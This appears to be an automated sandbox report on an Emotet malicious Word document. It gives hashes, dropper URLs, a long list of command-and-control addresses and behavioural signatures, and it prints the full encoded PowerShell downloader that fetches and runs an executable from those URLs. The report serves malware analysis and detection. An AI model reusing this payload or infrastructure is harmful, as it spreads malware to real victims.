Analysis
- max time kernel
141s - max time network
151s - platform
windows10_x64 - resource
win10 - submitted
11/08/2020, 10:00
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_324c0a139c6c925b7b9d8024ed112aebafb7bc484096b58419471a22b672bce3_2020-08-11__095924._doc.doc
Resource
win7v200722
General
- Target emotet_e3_324c0a139c6c925b7b9d8024ed112aebafb7bc484096b58419471a22b672bce3_2020-08-11__095924._doc.doc
- Size 227KB
- Sample200811-tevs3mbl12
- SHA256 324c0a139c6c925b7b9d8024ed112aebafb7bc484096b58419471a22b672bce3
- MD5 b2c1d176bfbb034e8fa7f06155010e79
- SHA1 072f7c15819def026d3ec49d5ec4b0bb8ca4f703
- SHA512 c4ea64badd1d56791afe1db1e5afc0f3cfee42764b39f0f58b4a35b0fabb4003ad364712bf68ee8521fa6c6953f9b05ada156adaf40aff4ca1c44857b62a0306
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://stoutarc.com/assets/hoTVnj/
-
exe.dropper
http://soundaffairs.net/logs/yzht756773/
-
exe.dropper
http://sukhumvithomes.com/sathorncondos.com/N6dWb36edu55270418/
-
exe.dropper
http://adopteerightslaw.org/yaook/ran/
-
exe.dropper
http://liveheart.co.jp/img/qyH/
Extracted
-
emotet
-
202.5.47.71:80
-
139.99.157.213:8080
-
188.166.25.84:8080
-
192.163.221.191:8080
-
181.113.229.139:443
-
115.79.195.246:80
-
113.161.148.81:80
-
37.46.129.215:8080
-
190.55.233.156:80
-
115.165.3.213:80
-
41.185.29.128:8080
-
51.38.201.19:7080
-
178.33.167.120:8080
-
46.105.131.68:8080
-
74.208.173.91:8080
-
143.95.101.72:8080
-
75.127.14.170:8080
-
78.188.170.128:80
-
115.78.11.155:80
-
203.153.216.182:7080
-
77.74.78.80:443
-
105.209.235.113:8080
-
139.59.12.63:8080
-
31.146.61.34:80
-
172.105.78.244:8080
-
188.251.213.180:443
-
192.210.217.94:8080
-
81.17.93.134:80
-
188.0.135.237:80
-
50.116.78.109:8080
-
107.161.30.122:8080
-
163.172.107.70:8080
-
212.156.133.218:80
-
177.144.130.105:443
-
87.106.231.60:8080
-
198.57.203.63:8080
-
5.79.70.250:8080
-
87.252.100.28:80
-
177.37.81.212:443
-
114.173.201.110:80
-
176.9.93.82:7080
-
190.164.75.175:80
-
185.142.236.163:443
-
201.235.10.215:80
-
181.164.110.7:80
-
203.153.216.178:7080
-
153.220.182.49:80
-
185.208.226.142:8080
-
46.32.229.152:8080
-
195.201.56.70:8080
-
212.112.113.235:80
-
97.104.107.190:80
-
187.64.128.197:80
-
91.83.93.103:443
-
75.139.38.211:80
-
181.143.101.19:8080
-
81.214.253.80:443
-
78.189.60.109:443
-
113.160.180.109:80
-
157.7.164.178:8081
-
216.75.37.196:8080
-
182.187.139.200:8080
-
179.5.118.12:80
-
190.31.53.131:80
-
181.134.9.162:80
-
192.241.220.183:8080
-
37.70.131.107:80
-
181.167.35.84:80
-
182.176.95.147:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 508 3648 powersheLL.exe 67 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1424-13-0x0000000002560000-0x000000000256C000-memory.dmp emotet behavioral2/memory/1424-13-0x0000000002560000-0x000000000256C000-memory.dmp emotet behavioral2/memory/1924-16-0x0000000002C30000-0x0000000002C3C000-memory.dmp emotet behavioral2/memory/1924-16-0x0000000002C30000-0x0000000002C3C000-memory.dmp emotet - Blacklisted process makes network request 3 IoCs
flow pid Process 11 508 powersheLL.exe 15 508 powersheLL.exe 17 508 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 1424 882.exe 1924 security.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\wuceffects\security.exe 882.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3844 WINWORD.EXE 3844 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 508 powersheLL.exe 508 powersheLL.exe 508 powersheLL.exe 1924 security.exe 1924 security.exe 1924 security.exe 1924 security.exe 1924 security.exe 1924 security.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 508 powersheLL.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 3844 WINWORD.EXE 3844 WINWORD.EXE 3844 WINWORD.EXE 3844 WINWORD.EXE 3844 WINWORD.EXE 3844 WINWORD.EXE 3844 WINWORD.EXE 3844 WINWORD.EXE 3844 WINWORD.EXE - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1424 wrote to memory of 1924 1424 882.exe 76 PID 1424 wrote to memory of 1924 1424 882.exe 76 PID 1424 wrote to memory of 1924 1424 882.exe 76
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_324c0a139c6c925b7b9d8024ed112aebafb7bc484096b58419471a22b672bce3_2020-08-11__095924._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3844
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABGAFkASwBCAFcAeQBuAHQAPQAnAFUAQQBLAE8AUABxAGIAeAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAFUAUgBpAHQAYAB5AHAAUgBvAHQATwBgAEMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABaAE4ASgBBAEMAYgB1AG4AIAA9ACAAJwA4ADgAMgAnADsAJABRAEIAUABJAFUAaQBtAGYAPQAnAEcATwBXAEYASAB5AGYAZAAnADsAJABHAEgATABOAE0AcgBuAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoATgBKAEEAQwBiAHUAbgArACcALgBlAHgAZQAnADsAJABGAEsATgBaAFQAcQBzAGkAPQAnAEwAWABUAFoARgBlAGYAeAAnADsAJABBAEYAWgBaAFMAZwBlAGUAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBFAEIAQwBsAEkAZQBOAHQAOwAkAEQATwBIAFYAQwBrAG0AcwA9ACcAaAB0AHQAcAA6AC8ALwBzAHQAbwB1AHQAYQByAGMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AaABvAFQAVgBuAGoALwAqAGgAdAB0AHAAOgAvAC8AcwBvAHUAbgBkAGEAZgBmAGEAaQByAHMALgBuAGUAdAAvAGwAbwBnAHMALwB5AHoAaAB0ADcANQA2ADcANwAzAC8AKgBoAHQAdABwADoALwAvAHMAdQBrAGgAdQBtAHYAaQB0AGgAbwBtAGUAcwAuAGMAbwBtAC8AcwBhAHQAaABvAHIAbgBjAG8AbgBkAG8AcwAuAGMAbwBtAC8ATgA2AGQAVwBiADMANgBlAGQAdQA1ADUAMgA3ADAANAAxADgALwAqAGgAdAB0AHAAOgAvAC8AYQBkAG8AcAB0AGUAZQByAGkAZwBoAHQAcwBsAGEAdwAuAG8AcgBnAC8AeQBhAG8AbwBrAC8AcgBhAG4ALwAqAGgAdAB0AHAAOgAvAC8AbABpAHYAZQBoAGUAYQByAHQALgBjAG8ALgBqAHAALwBpAG0AZwAvAHEAeQBIAC8AJwAuACIAcwBgAFAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAFAAUQBTAEsAcwBnAG0APQAnAFgAVQBEAFAASgBuAGcAcgAnADsAZgBvAHIAZQBhAGMAaAAoACQASABRAFkAQQBVAGwAawBiACAAaQBuACAAJABEAE8ASABWAEMAawBtAHMAKQB7AHQAcgB5AHsAJABBAEYAWgBaAFMAZwBlAGUALgAiAEQAbwBXAG4ATABvAGEAYABEAEYAYABpAGwAZQAiACgAJABIAFEAWQBBAFUAbABrAGIALAAgACQARwBIAEwATgBNAHIAbgBpACkAOwAkAEIAUQBJAFoAUABsAHEAYQA9ACcATwBIAEoAUgBBAGoAbgBwACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQARwBIAEwATgBNAHIAbgBpACkALgAiAGwARQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAwADAANQA2ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAHIAZQBgAEEAVABlACIAKAAkAEcASABMAE4ATQByAG4AaQApADsAJABNAEEAVQBUAEgAYwB1AG4APQAnAFYATwBGAFQATgBzAGQAaAAnADsAYgByAGUAYQBrADsAJABQAFoARgBDAEoAbABzAGUAPQAnAEcAVQBUAEMAVABhAGMAZQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABIAFcAQgBXAFYAeABiAGYAPQAnAEkATwBWAFkAVwBiAGwAegAnAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:508
-
C:\Users\Admin\882.exeC:\Users\Admin\882.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\SysWOW64\wuceffects\security.exe"C:\Windows\SysWOW64\wuceffects\security.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1924
-